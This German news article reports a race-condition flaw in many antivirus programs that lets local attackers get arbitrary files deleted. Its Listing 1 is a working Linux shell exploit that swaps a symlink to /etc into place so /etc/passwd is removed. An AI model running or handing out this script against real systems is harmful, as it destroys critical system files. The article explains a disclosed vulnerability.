Security-Forscher haben eine Schwachstelle im Design von zahlreichen Antivirenprogrammen entdeckt. Das generische Problem betrifft jedes Betriebssystem und praktisch jede wichtige AV-Software.
Eine generische Sicherheitslücke in Antivirenprogrammen betrifft alle Betriebssysteme und so gut wie jede wichtige AV-Software. Forscher des Unternehmens Rack911 Labs konnten die Schwachstelle in 28 Antiviren-Programmen unter Linux, MacOS und Windows nachweisen [1]. Sie versetzt lokale Angreifer in die Lage, in zahlreichen Fällen beliebige Dateien des Systems zu löschen.
Die Schwachstelle beruht auf der Arbeitsweise von Antivirenprogrammen: Sie erkennen zunächst potenziell gefährliche Dateien und löschen diese dann, beziehungsweise schieben sie in einen Quarantäne-Container. Allerdings geschieht das mit einer gewissen zeitlichen Verzögerung: Eine neue Datei auf dem System muss zunächst überprüft werden; erst dann lässt sich entscheiden, ob sie Schadcode enthält und demzufolge zu löschen ist.
Genau hier setzt nun die neue Attacke an. Zwischen den beiden Aktionen verstreicht ein wenig Zeit, und die lässt sich für eine Race-Condition-Attacke ausnutzen. Innerhalb dieses kurzen Augenblicks startet der Angreifer dazu eine typische Symlink-Attacke: Sobald das AV-Programm die Kontrolle der Datei abgeschlossen hat, richtet er einen Symlink mit dem Namen der überprüften Datei auf eine andere Datei des Systems ein. Das Antivirenprogramm löscht dann diese Datei, falls das ursprüngliche File Schadcode enthielt.
Die Attacke funktioniert unter allen Betriebssystemen nach demselben Prinzip, da praktische alle AV-Programme eine recht genau vorhersagbare Zeitspanne zwischen den beiden Vorgängen verstreichen lassen. Unter Windows gibt es sogenannte Directory Junctions, die auf Verzeichnisebene den Symlinks unter Linux und MacOS entsprechen. Ein lokaler Benutzer kann die Attacke auf dem System sehr einfach starten. Ein typischer Linux-Exploit könnte so aussehen, wie in Listing 1 gezeigt.
Listing 1
Linux-Exploit
#!/bin/sh rm -rf /home/$USER/exploit; mkdir /home/$USER/exploit/ wget -q https://www.eicar.org/download/eicar.com.txt -O /home/$USER/exploit/passwd while inotifywait -m "/home/$USER/exploit/passwd" | grep -m 5 "OPEN"; do rm -rf /home/$USER/exploit ; ln -s /etc /home/$USER/exploit done
Dabei lädt das Angriffsskript via Curl die EICAR-Testdatei herunter, ein vom European Institute for Computer Antivirus Research (EICAR) und der Computer AntiVirus Research Organization entwickeltes Testmuster. Mit dessen Hilfe lässt sich sich die Funktion von Antiviren-Software testen; alle Programme erkennen sie als Virus und behandeln sie entsprechend. Die Datei selbst enthält keinen Schadcode. Sie besteht lediglich aus 68 ASCII-Zeichen und hat eine Dateigröße von 68 bis 70 Byte.
Der einfach aufgebaute Exploit erzeugt zunächst ein Verzeichnis namens »exploit« im Home-Verzeichnis des Benutzers. Dort legt er dann die EICAR-Testdatei als »passwd« ab. Danach verwendet er den Inotifywait-Befehl, um zu prüfen, ob die Datei schon geöffnet wurde. Dies signalisiert dem Exploit, dass das Antiviren-Programm die EICAR-Datei schon inspiziert hat. Falls ja, löscht er die Testdatei und legt stattdessen einen Symlink auf das Verzeichnis »/etc«an. Darin befindet sich die eigentliche »passwd«-Datei des Systems.
Unter Windows und MacOS fällt die Attacke etwas schwerer, da kein Inotifywait-Pendant zur Verfügung steht. Der Angreifer muss dann die Zeitspanne zwischen Scan- und Löschvorgang experimentell bestimmen oder schlicht schätzen. (jcb/jlu)
Infos
- Antiviren-Schwachstelle: https://www.rack911labs.com/research/exploiting-almost-every-antivirus-software





